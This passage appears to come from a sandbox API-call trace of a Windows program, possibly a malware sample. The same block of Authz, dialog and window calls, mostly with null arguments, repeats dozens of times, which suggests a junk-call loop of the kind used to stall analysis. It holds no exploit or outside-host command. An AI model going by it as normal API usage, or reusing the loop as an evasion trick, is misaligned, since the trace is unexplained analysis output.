hEventProvider=0x0) returned 0 [0025.482] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.482] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.482] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.482] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.482] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.482] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.482] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.482] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.482] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.482] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.482] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.482] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.482] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.482] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.482] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.482] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.482] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.482] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.482] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.482] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.482] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.482] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.482] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.482] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.482] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.483] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.483] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.483] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.483] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.483] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.483] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.483] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.483] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.483] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.483] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.483] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.483] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.483] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.483] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.483] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.483] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.483] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.483] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.483] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.483] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.483] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.483] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.483] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.483] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.483] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.483] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.483] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.483] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.483] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.483] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.483] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.483] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.483] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.483] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.483] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.483] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.483] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.483] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.483] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.483] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.484] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.484] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.484] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.484] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.484] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.484] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.484] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.484] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.484] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.484] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.484] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.484] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.484] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.484] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.484] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.484] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.484] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.484] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.484] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.484] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.484] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.484] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.484] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.484] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.484] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.484] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.484] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.484] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.484] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.484] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.484] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.484] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.484] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.484] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.484] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.484] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.484] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.484] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.484] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.484] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.485] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.485] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.485] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.485] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.485] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.485] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.485] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.485] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.485] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.485] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.485] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.485] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.486] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.486] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.486] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.486] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.486] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.486] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.486] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.486] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.486] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.486] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.486] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.486] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.486] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.486] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.486] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.487] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.487] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.487] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.487] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.487] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.487] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.487] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.487] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.487] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.487] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.487] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.487] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.487] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.487] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.487] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.487] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.487] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.487] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.487] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.487] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.487] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.487] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.487] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.487] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.487] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.487] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.487] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.487] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.487] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.487] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.487] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.487] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.487] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.487] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.487] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.487] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.487] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.487] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.487] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.487] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.487] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.488] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.488] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.488] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.488] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.488] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.488] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.488] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.488] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.488] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.488] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.488] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.488] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.488] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.488] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.488] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.488] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.488] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.488] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.488] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.488] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.488] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.488] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.488] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.488] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.488] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.488] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.488] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.488] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.488] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.488] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.488] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.488] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.488] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.488] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.488] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.488] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.488] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.488] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.488] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.488] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.489] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.489] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.489] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.489] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.489] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.489] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.489] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.489] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.489] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.489] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.489] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.489] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.489] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.489] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.489] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.489] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.489] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.489] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.489] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.489] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.489] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.489] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.489] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.489] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.489] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.489] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.489] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.489] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.489] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.489] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.489] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.489] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.489] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.489] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.489] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.489] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.489] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.489] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.489] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.489] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.489] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.490] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.490] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.490] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.490] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.490] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.490] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.490] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.490] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.490] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.490] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.490] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.490] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.490] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.490] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.490] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.490] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.490] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.490] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.490] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.490] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.490] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.490] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.490] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.490] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.490] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.490] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.490] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.490] 